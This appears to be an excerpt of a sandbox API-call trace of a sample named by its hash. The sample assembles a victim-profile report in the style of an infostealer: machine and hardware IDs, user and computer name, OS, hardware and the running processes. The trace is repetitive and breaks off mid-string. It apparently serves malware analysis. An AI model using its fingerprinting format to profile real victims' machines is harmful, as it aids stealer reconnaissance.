[0054.853] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe", lpString2=" [" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe ["
[0054.853] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67d998
[0054.853] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67d9c8
[0054.853] GetLastError () returned 0x7a
[0054.853] SetLastError (dwErrCode=0x7a)
[0054.853] GetLastError () returned 0x7a
[0054.853] SetLastError (dwErrCode=0x7a)
[0054.853] GetLastError () returned 0x7a
[0054.853] SetLastError (dwErrCode=0x7a)
[0054.853] GetLastError () returned 0x7a
[0054.853] SetLastError (dwErrCode=0x7a)
[0054.853] GetLastError () returned 0x7a
[0054.853] SetLastError (dwErrCode=0x7a)
[0054.853] GetLastError () returned 0x7a
[0054.853] SetLastError (dwErrCode=0x7a)
[0054.853] GetLastError () returned 0x7a
[0054.854] SetLastError (dwErrCode=0x7a)
[0054.854] GetLastError () returned 0x7a
[0054.854] SetLastError (dwErrCode=0x7a)
[0054.854] GetLastError () returned 0x7a
[0054.854] SetLastError (dwErrCode=0x7a)
[0054.854] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671500 | out: hHeap=0x670000) returned 1
[0054.854] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [", lpString2="1660" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660"
[0054.854] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660", lpString2="]\n" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n"
[0054.854] Process32Next (in: hSnapshot=0x508, lppe=0x182174 | out: lppe=0x182174*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x918, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x358, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
[0054.855] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n", lpString2="- " | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- ") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- "
[0054.855] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- ", lpString2="taskhostw.exe" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe"
[0054.855] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe", lpString2=" [" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: 